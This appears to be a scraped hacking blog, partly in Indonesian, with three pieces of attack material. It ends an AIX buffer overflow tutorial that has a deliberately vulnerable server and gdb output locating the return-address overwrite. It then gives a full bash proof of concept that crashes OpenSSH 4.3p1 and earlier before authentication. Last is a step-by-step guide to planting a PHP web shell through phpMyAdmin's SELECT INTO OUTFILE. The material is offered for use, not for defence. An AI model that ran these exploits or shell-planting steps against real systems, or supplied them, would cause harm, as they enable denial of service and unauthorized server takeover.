// There must be a syscall after overflow at least, otherwise I-cache will afflict you. ;-)
sync();
}

int main(int argc, char *argv[])
{
int s, c, ret, lBytesRead;
struct sockaddr_in srv;

s = socket(AF_INET, SOCK_STREAM, 0);
srv.sin_addr.s_addr = INADDR_ANY;
srv.sin_port = htons(4444);
srv.sin_family = AF_INET;

bind(s, &srv, sizeof(srv));
listen(s, 3);

c = accept(s,NULL,NULL);

while(1)
{
lBytesRead = recv(c, Buff, 1024, 0);
if(lBytesRead<=0) break;

printf("fd = %x recv %d bytes\n", c, lBytesRead);
overflow(Buff, lBytesRead); 

ret=send(c,Buff,lBytesRead,0);
if(ret<=0) break;
}

close(s);
close©;
}
The debugs in remote and local buffer overflow are not different, and the key is to find the overflow point. You may need construct various network data structures in remote overflow. The following is the debug process that uses gdb to find return address and the overflow buffer size. -bash-2.05b$ gdb server GNU gdb 6.1 Copyright 2004 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "powerpc-ibm-aix5.1.0.0"... (gdb) r Starting program: /home/san/server Client connect to server and send overrun data. -bash-2.05b$ telnet localhost 4444 Trying... Connected to localhost. Escape character is '^]'. ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD Server side will receive a Segmentation fault. Program received signal SIGSEGV, Segmentation fault. 0x41424344 in ?? () (gdb) x/8x $r1 0x2ff22b58: 0x41424344 0x41424344 0x41424344 0x0d0a6648 0x2ff22b68: 0x00000000 0x20001000 0x20001110 0x0000005e We must overwrite r1+8 that the value of lr register after function return. Then, all of the register like below:
(gdb) i reg
r0 0x41424344 1094861636
r1 0x2ff22b58 804399960
r2 0x20001000 536875008
r3 0x1757180 24473984
r4 0x0 0
r5 0x2ff22ffc 804401148
r6 0xd032 53298
r7 0x0 0
r8 0x60000000 1610612736
r9 0x600045f0 1610630640
r10 0x0 0
r11 0x60003bca 1610628042
r12 0x2ff3b400 804500480
r13 0xdeadbeef -559038737
r14 0x1 1
r15 0x2ff22c08 804400136
r16 0x2ff22c10 804400144
r17 0x0 0
r18 0xdeadbeef -559038737
r19 0xdeadbeef -559038737
r20 0xdeadbeef -559038737
r21 0xdeadbeef -559038737
r22 0xdeadbeef -559038737
r23 0xdeadbeef -559038737
r24 0xdeadbeef -559038737
r25 0xdeadbeef -559038737
r26 0xdeadbeef -559038737
r27 0xdeadbeef -559038737
r28 0x20000640 536872512
r29 0x10000000 268435456
r30 0x3 3
r31 0x41424344 1094861636
pc 0x41424344 1094861636
ps 0x4000d032 1073795122
cr 0x2a222828 706881576
lr 0x41424344 1094861636
ctr 0x0 0
xer 0x0 0
fpscr 0x0 0
vscr 0x0 0
vrsave 0x0 0
Tutorial How to Exploit Can U get on here : black-mygo.blogspot.com

Wednesday, January 19, 2011

OpenSSH <= 4.3 p1 (Duplicated Block) Remote Denial of Service Exploit


OpenSSH <= 4.3 p1 (Duplicated Block) Remote Denial of Service Exploit
#!/bin/bash
#
# OpenSSH CRC compensation attack detection DoS PoC.
# Tavis Ormandy 
#
# Yes, I really did implement crc-32 in bash.
#
# usage: script 

# victim hostname
hostname=${1:-localhost}
port=${2:-22}

# where the fifo is created to communicate with netcat
fifo=/tmp/nc.$$

# make the fifos
mkfifo ${fifo}.in
mkfifo ${fifo}.out

# pre-calculated crc32 for packet header
declare -i crc=0xb2240279

# crc lookup table
declare -a crc32tab=( 0x00000000 0x77073096 0xee0e612c 0x990951ba 0x076dc419
0x706af48f 0xe963a535 0x9e6495a3 0x0edb8832 0x79dcb8a4 0xe0d5e91e 0x97d2d988
0x09b64c2b 0x7eb17cbd 0xe7b82d07 0x90bf1d91 0x1db71064 0x6ab020f2 0xf3b97148
0x84be41de 0x1adad47d 0x6ddde4eb 0xf4d4b551 0x83d385c7 0x136c9856 0x646ba8c0
0xfd62f97a 0x8a65c9ec 0x14015c4f 0x63066cd9 0xfa0f3d63 0x8d080df5 0x3b6e20c8
0x4c69105e 0xd56041e4 0xa2677172 0x3c03e4d1 0x4b04d447 0xd20d85fd 0xa50ab56b
0x35b5a8fa 0x42b2986c 0xdbbbc9d6 0xacbcf940 0x32d86ce3 0x45df5c75 0xdcd60dcf
0xabd13d59 0x26d930ac 0x51de003a 0xc8d75180 0xbfd06116 0x21b4f4b5 0x56b3c423
0xcfba9599 0xb8bda50f 0x2802b89e 0x5f058808 0xc60cd9b2 0xb10be924 0x2f6f7c87
0x58684c11 0xc1611dab 0xb6662d3d 0x76dc4190 0x01db7106 0x98d220bc 0xefd5102a
0x71b18589 0x06b6b51f 0x9fbfe4a5 0xe8b8d433 0x7807c9a2 0x0f00f934 0x9609a88e
0xe10e9818 0x7f6a0dbb 0x086d3d2d 0x91646c97 0xe6635c01 0x6b6b51f4 0x1c6c6162
0x856530d8 0xf262004e 0x6c0695ed 0x1b01a57b 0x8208f4c1 0xf50fc457 0x65b0d9c6
0x12b7e950 0x8bbeb8ea 0xfcb9887c 0x62dd1ddf 0x15da2d49 0x8cd37cf3 0xfbd44c65
0x4db26158 0x3ab551ce 0xa3bc0074 0xd4bb30e2 0x4adfa541 0x3dd895d7 0xa4d1c46d
0xd3d6f4fb 0x4369e96a 0x346ed9fc 0xad678846 0xda60b8d0 0x44042d73 0x33031de5
0xaa0a4c5f 0xdd0d7cc9 0x5005713c 0x270241aa 0xbe0b1010 0xc90c2086 0x5768b525
0x206f85b3 0xb966d409 0xce61e49f 0x5edef90e 0x29d9c998 0xb0d09822 0xc7d7a8b4
0x59b33d17 0x2eb40d81 0xb7bd5c3b 0xc0ba6cad 0xedb88320 0x9abfb3b6 0x03b6e20c
0x74b1d29a 0xead54739 0x9dd277af 0x04db2615 0x73dc1683 0xe3630b12 0x94643b84
0x0d6d6a3e 0x7a6a5aa8 0xe40ecf0b 0x9309ff9d 0x0a00ae27 0x7d079eb1 0xf00f9344
0x8708a3d2 0x1e01f268 0x6906c2fe 0xf762575d 0x806567cb 0x196c3671 0x6e6b06e7
0xfed41b76 0x89d32be0 0x10da7a5a 0x67dd4acc 0xf9b9df6f 0x8ebeeff9 0x17b7be43
0x60b08ed5 0xd6d6a3e8 0xa1d1937e 0x38d8c2c4 0x4fdff252 0xd1bb67f1 0xa6bc5767
0x3fb506dd 0x48b2364b 0xd80d2bda 0xaf0a1b4c 0x36034af6 0x41047a60 0xdf60efc3
0xa867df55 0x316e8eef 0x4669be79 0xcb61b38c 0xbc66831a 0x256fd2a0 0x5268e236
0xcc0c7795 0xbb0b4703 0x220216b9 0x5505262f 0xc5ba3bbe 0xb2bd0b28 0x2bb45a92
0x5cb36a04 0xc2d7ffa7 0xb5d0cf31 0x2cd99e8b 0x5bdeae1d 0x9b64c2b0 0xec63f226
0x756aa39c 0x026d930a 0x9c0906a9 0xeb0e363f 0x72076785 0x05005713 0x95bf4a82
0xe2b87a14 0x7bb12bae 0x0cb61b38 0x92d28e9b 0xe5d5be0d 0x7cdcefb7 0x0bdbdf21
0x86d3d2d4 0xf1d4e242 0x68ddb3f8 0x1fda836e 0x81be16cd 0xf6b9265b 0x6fb077e1
0x18b74777 0x88085ae6 0xff0f6a70 0x66063bca 0x11010b5c 0x8f659eff 0xf862ae69
0x616bffd3 0x166ccf45 0xa00ae278 0xd70dd2ee 0x4e048354 0x3903b3c2 0xa7672661
0xd06016f7 0x4969474d 0x3e6e77db 0xaed16a4a 0xd9d65adc 0x40df0b66 0x37d83bf0
0xa9bcae53 0xdebb9ec5 0x47b2cf7f 0x30b5ffe9 0xbdbdf21c 0xcabac28a 0x53b39330
0x24b4a3a6 0xbad03605 0xcdd70693 0x54de5729 0x23d967bf 0xb3667a2e 0xc4614ab8
0x5d681b02 0x2a6f2b94 0xb40bbe37 0xc30c8ea1 0x5a05df1b 0x2d02ef8d );

printf "[*] OpenSSH Pre-Auth DoS PoC by taviso@google.com\n" >&2
printf "[*] Attacking %s...\n" $hostname >&2

# launch netcat coprocess
(nc -q0 $hostname $port < $fifo.in > $fifo.out; rm -f $fifo.in $fifo.out) &

# open file descriptors to coprocess
exec 3>${fifo}.in 4<${fifo}.out

# send identification
printf "SSH-1.8-OpenSSH DoS Demo -- taviso@google.com\n" >&3

# read server key and spoof bytes (i only care about the spoof bytes)
read server_identification <&4
printf "[*] remote server identifies as %s.\n" "${server_identification}" >&2

# read the cookie
cookie="$(hexdump -n 18 -e '"" 8/1 "%02x " " "'<&4 | cut -d" " -f11-18)"

printf "[*] IP spoofing cookie was %s.\n" "${cookie}" >&2

# now send my response
printf "\x00\x00\x08\x3d" >&3 # packet length
printf "\x00\x00\x00\x03" >&3 # packet type
printf "\x03" >&3 # cipher type

# print spoof bytes
printf "\x${cookie// /\x}" >&3

# now calculate checksum of spoof bytes
for i in ${cookie}; do
declare -i buf=0x${i}
let 'crc = crc32tab[(crc ^ buf) & 0xff] ^ (crc >> 8)'
done

# now send some random crap for padding.
for ((i = 0; i < 2095; i++)); do
printf "\x41" >&3
let 'crc = crc32tab[(crc ^ 0x41) & 0xff] ^ (crc >> 8)'
done

printf "[*] checksum should be %#x\n" $crc >&2

# now send the checksum to server
printf "$(printf "\\\x%x\\\x%x\\\x%x\\\x%x" $(((crc >> 24) & 0xff)) \
$(((crc >> 16) & 0xff)) \
$(((crc >> 8) & 0xff)) \
$(((crc >> 0) & 0xff)))" >&3

printf "\x00\x03\xff\xf8" >&3 # packet length

# junk
perl -e 'print "\x00"x"262144"' >&3

# close file descriptors
exec 3>&- 4<&-

printf "[*] All done.\n" >&2

Tuesday, January 18, 2011

Tutorial Uploading Shell Via phpMyAdmin



Ok Langsung Ke Pembahasan yah..
Silahkan Ikuti Gambar" Di bawah ini jika kalian ingin Mengupload shell kalian via phpMyAdmin, dalammelakukan aksi hacking yang kalian lakukan.

1. Create Database di phpMyAdmin






Lalu Silahkan Klik Edit
Dan silahkan gantikan Query SQL yang seperti dibawah ini





Lalu Ganti Query Di atas Tersebut dengan Query dibawah ini.

use mysql; 

DROP TABLE IF EXISTS `temptab`; 

CREATE TABLE temptab (codetab text); 

INSERT INTO temptab (codetab) values ('
'); 

SELECT * INTO OUTFILE 'C:/xampp/htdocs/shell.php' from temptab; 

DROP TABLE temptab; 

FLUSH LOGS;




Terus Kalian Harus Memperhatikan Script Dibawah ini ;
SELECT * INTO OUTFILE 'C:/xampp/htdocs/shell.php' from temptab;

Nah Disitulah Script kita berada,dimana shell kita tersimpan didalamnya.



Kalau Sudah semuanya selesai silahkan Panggil File / Shell kalian yang sudah ter upload tadi lewat phpMyAdmin.




Nah Sekian Dulu Dari saya , Nanti kita lanjutkan untuk Tutor yang lainnya lagi :D

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